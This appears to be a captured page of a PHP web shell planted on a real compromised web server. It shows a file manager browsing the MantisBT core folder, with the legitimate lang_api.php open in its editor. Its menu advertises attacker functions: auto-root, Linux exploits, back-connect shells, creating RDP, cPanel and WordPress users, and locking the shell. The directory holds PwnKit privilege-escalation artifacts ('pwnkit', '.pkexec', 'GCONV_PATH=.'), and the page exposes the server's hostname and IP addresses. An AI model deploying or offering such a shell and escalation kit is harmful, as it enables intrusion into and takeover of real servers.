Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cfdefs
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
.htaccess
59
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
access_api.php
23.38
KB
-rw-r--r--
ajax_api.php
1.78
KB
-rw-r--r--
authentication_api.php
24.22
KB
-rw-r--r--
bug_api.php
59.38
KB
-rw-r--r--
bug_group_action_api.php
11.72
KB
-rw-r--r--
bug_revision_api.php
9.94
KB
-rw-r--r--
bugnote_api.php
22.03
KB
-rw-r--r--
category_api.php
18.27
KB
-rw-r--r--
collapse_api.php
6.54
KB
-rw-r--r--
columns_api.php
41.71
KB
-rw-r--r--
compress_api.php
4.26
KB
-rw-r--r--
config_api.php
20.95
KB
-rw-r--r--
constant_inc.php
15.77
KB
-rw-r--r--
csv_api.php
10.49
KB
-rw-r--r--
current_user_api.php
6.61
KB
-rw-r--r--
custom_field_api.php
44.01
KB
-rw-r--r--
custom_function_api.php
15.43
KB
-rw-r--r--
database_api.php
26.36
KB
-rw-r--r--
date_api.php
8.34
KB
-rw-r--r--
email_api.php
50.19
KB
-rw-r--r--
email_queue_api.php
4.91
KB
-rw-r--r--
error_api.php
12.19
KB
-rw-r--r--
event_api.php
9.3
KB
-rw-r--r--
events_inc.php
4.34
KB
-rw-r--r--
excel_api.php
19.57
KB
-rw-r--r--
file_api.php
32.11
KB
-rw-r--r--
filter_api.php
171.82
KB
-rw-r--r--
form_api.php
6.39
KB
-rw-r--r--
gpc_api.php
14.34
KB
-rw-r--r--
graphviz_api.php
13.6
KB
-rw-r--r--
helper_api.php
16.08
KB
-rw-r--r--
history_api.php
20.75
KB
-rw-r--r--
html_api.php
54.7
KB
-rw-r--r--
html_api_19-09-13.php
54.69
KB
-rw-r--r--
http_api.php
5.71
KB
-rw-r--r--
icon_api.php
2.67
KB
-rw-r--r--
json_api.php
3.37
KB
-rw-r--r--
lang_api.php
8.59
KB
-rw-r--r--
last_visited_api.php
2.82
KB
-rw-r--r--
ldap_api.php
15.59
KB
-rw-r--r--
logging_api.php
3.02
KB
-rw-r--r--
mobile_api.php
3.03
KB
-rw-r--r--
news_api.php
8.87
KB
-rw-r--r--
obsolete.php
5.39
KB
-rw-r--r--
php_api.php
3.17
KB
-rw-r--r--
plugin_api.php
24.38
KB
-rw-r--r--
prepare_api.php
3.32
KB
-rw-r--r--
print_api.php
63.29
KB
-rw-r--r--
profile_api.php
9.35
KB
-rw-r--r--
projax_api.php
3.22
KB
-rw-r--r--
project_api.php
25.56
KB
-rw-r--r--
project_hierarchy_api.php
9.88
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
relationship_api.php
32.31
KB
-rw-r--r--
relationship_graph_api.php
15.13
KB
-rw-r--r--
rss_api.php
4.41
KB
-rw-r--r--
session_api.php
7.69
KB
-rw-r--r--
sponsorship_api.php
12.25
KB
-rw-r--r--
string_api.php
29.12
KB
-rw-r--r--
summary_api.php
39.92
KB
-rw-r--r--
tag_api.php
22.85
KB
-rw-r--r--
tokens_api.php
7.64
KB
-rw-r--r--
twitter_api.php
4.51
KB
-rw-r--r--
url_api.php
2.06
KB
-rw-r--r--
user_api.php
40.99
KB
-rw-r--r--
user_pref_api.php
17.01
KB
-rw-r--r--
utility_api.php
7.63
KB
-rw-r--r--
version_api.php
21.15
KB
-rw-r--r--
wiki_api.php
2.2
KB
-rw-r--r--
xmlhttprequest_api.php
3.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lang_api.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * Language (Internationalization) API * @package CoreAPI * @subpackage LanguageAPI * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ # Cache of localization strings in the language specified by the last # lang_load call $g_lang_strings = array(); # stack for language overrides $g_lang_overrides = array(); # To be used in custom_strings_inc.php : $g_active_language = ''; /** * Loads the specified language and stores it in $g_lang_strings, to be used by lang_get * @param string $p_lang * @param string $p_dir * @return null */ function lang_load( $p_lang, $p_dir = null ) { global $g_lang_strings, $g_active_language; $g_active_language = $p_lang; if( isset( $g_lang_strings[$p_lang] ) && is_null( $p_dir ) ) { return; } if( !lang_language_exists( $p_lang ) ) { return; } $t_lang_dir = $p_dir; if( is_null( $t_lang_dir ) ) { $t_lang_dir = dirname( dirname( __FILE__ ) ) . DIRECTORY_SEPARATOR . 'lang' . DIRECTORY_SEPARATOR; require_once( $t_lang_dir . 'strings_' . $p_lang . '.txt' ); } else { if( is_file( $t_lang_dir . 'strings_' . $p_lang . '.txt' ) ) { include_once( $t_lang_dir . 'strings_' . $p_lang . '.txt' ); } } # Allow overriding strings declared in the language file. # custom_strings_inc.php can use $g_active_language $t_custom_strings = dirname( dirname( __FILE__ ) ) . DIRECTORY_SEPARATOR . 'custom_strings_inc.php'; if( file_exists( $t_custom_strings ) ) { require( $t_custom_strings ); # this may be loaded multiple times, once per language } $t_vars = get_defined_vars(); foreach( array_keys( $t_vars ) as $t_var ) { $t_lang_var = preg_replace( '/^s_/', '', $t_var ); if( $t_lang_var != $t_var ) { $g_lang_strings[$p_lang][$t_lang_var] = $$t_var; } else if( 'MANTIS_ERROR' == $t_var ) { if( isset( $g_lang_strings[$p_lang][$t_lang_var] ) ) { foreach( $$t_var as $key => $val ) { $g_lang_strings[$p_lang][$t_lang_var][$key] = $val; } } else { $g_lang_strings[$p_lang][$t_lang_var] = $$t_var; } } } } /** * Determine the preferred language * @return string */ function lang_get_default() { global $g_active_language; $t_lang = false; # Confirm that the user's language can be determined if( function_exists( 'auth_is_user_authenticated' ) && auth_is_user_authenticated() ) { $t_lang = user_pref_get_language( auth_get_current_user_id() ); } # Otherwise fall back to default if( !$t_lang ) { $t_lang = config_get_global( 'default_language' ); } if( $t_lang == 'auto' ) { $t_lang = lang_map_auto(); } # Remember the language $g_active_language = $t_lang; return $t_lang; } /** * * @return string */ function lang_map_auto() { $t_lang = config_get( 'fallback_language' ); if( isset( $_SERVER['HTTP_ACCEPT_LANGUAGE'] ) ) { $t_accept_langs = explode( ',', $_SERVER['HTTP_ACCEPT_LANGUAGE'] ); $t_auto_map = config_get( 'language_auto_map' ); # Expand language map $t_auto_map_exp = array(); foreach( $t_auto_map as $t_encs => $t_enc_lang ) { $t_encs_arr = explode( ',', $t_encs ); foreach( $t_encs_arr as $t_enc ) { $t_auto_map_exp[trim( $t_enc )] = $t_enc_lang; } } # Find encoding foreach( $t_accept_langs as $t_accept_lang ) { $t_tmp = explode( ';', utf8_strtolower( $t_accept_lang ) ); if( isset( $t_auto_map_exp[trim( $t_tmp[0] )] ) ) { $t_valid_langs = config_get( 'language_choices_arr' ); $t_found_lang = $t_auto_map_exp[trim( $t_tmp[0] )]; if( in_array( $t_found_lang, $t_valid_langs, true ) ) { $t_lang = $t_found_lang; break; } } } } return $t_lang; } /** * Ensures that a language file has been loaded * @param string $p_lang the language name * @return null */ function lang_ensure_loaded( $p_lang ) { global $g_lang_strings; if( !isset( $g_lang_strings[$p_lang] ) ) { lang_load( $p_lang ); } } /** * Check if the given language exists * * @param string $p_lang the language name * @return boolean */ function lang_language_exists( $p_lang ) { $t_valid_langs = config_get( 'language_choices_arr' ); $t_valid = ( 'english' == $p_lang || in_array( $p_lang, $t_valid_langs, true ) ); return $t_valid; } /** * language stack implementation * push a language onto the stack * @param string $p_lang * @return null */ function lang_push( $p_lang = null ) { global $g_lang_overrides; # If no specific language is requested, we'll # try to determine the language from the users # preferences $t_lang = $p_lang; if( null === $t_lang ) { $t_lang = config_get( 'default_language' ); } # don't allow 'auto' as a language to be pushed onto the stack # The results from auto are always the local user, not what the # override wants, unless this is the first language setting if(( 'auto' == $t_lang ) && ( 0 < count( $g_lang_overrides ) ) ) { $t_lang = config_get( 'fallback_language' ); } $g_lang_overrides[] = $t_lang; # Remember the language $g_active_language = $t_lang; # make sure it's loaded lang_ensure_loaded( $t_lang ); } /** * pop a language onto the stack and return it * @return string */ function lang_pop() { global $g_lang_overrides; return array_pop( $g_lang_overrides ); } /** * return value on top of the language stack * return default if stack is empty * @return string */ function lang_get_current() { global $g_lang_overrides; $t_count_overrides = count( $g_lang_overrides ); if( $t_count_overrides > 0 ) { $t_lang = $g_lang_overrides[$t_count_overrides - 1]; } else { $t_lang = lang_get_default(); } return $t_lang; } /** * Retrieves an internationalized string * This function will return one of (in order of preference): * 1. The string in the current user's preferred language (if defined) * 2. The string in English * @param string $p_string * @param string $p_lang * @return string */ function lang_get( $p_string, $p_lang = null ) { global $g_lang_strings; # If no specific language is requested, we'll # try to determine the language from the users # preferences $t_lang = $p_lang; if( null === $t_lang ) { $t_lang = lang_get_current(); } // Now we'll make sure that the requested language is loaded lang_ensure_loaded( $t_lang ); if( lang_exists( $p_string, $t_lang ) ) { return $g_lang_strings[$t_lang][$p_string]; } else { $t_plugin_current = plugin_get_current(); if( !is_null( $t_plugin_current ) ) { lang_load( $t_lang, config_get( 'plugin_path' ) . $t_plugin_current . DIRECTORY_SEPARATOR . 'lang' . DIRECTORY_SEPARATOR ); if( lang_exists( $p_string, $t_lang ) ) { return $g_lang_strings[$t_lang][$p_string]; } } if( $t_lang == 'english' ) { error_parameters( $p_string ); trigger_error( ERROR_LANG_STRING_NOT_FOUND, WARNING ); return ''; } else { # if string is not found in a language other than english, then retry using the english language. return lang_get( $p_string, 'english' ); } } } /** * Check the language entry, if found return true, otherwise return false. * @param string $p_string * @param string $p_lang * @return bool */ function lang_exists( $p_string, $p_lang ) { global $g_lang_strings; return( isset( $g_lang_strings[$p_lang] ) && isset( $g_lang_strings[$p_lang][$p_string] ) ); } /** * Get language: * - If found, return the appropriate string (as lang_get()). * - If not found, no default supplied, return the supplied string as is. * - If not found, default supplied, return default. * @param string $p_string * @param string $p_default * @param string $p_lang * @return string */ function lang_get_defaulted( $p_string, $p_default = null, $p_lang = null ) { $t_lang = $p_lang; if( null === $t_lang ) { $t_lang = lang_get_current(); } # Now we'll make sure that the requested language is loaded lang_ensure_loaded( $t_lang ); if( lang_exists( $p_string, $t_lang ) ) { return lang_get( $p_string ); } else { if( null === $p_default ) { return $p_string; } else { return $p_default; } } }
Close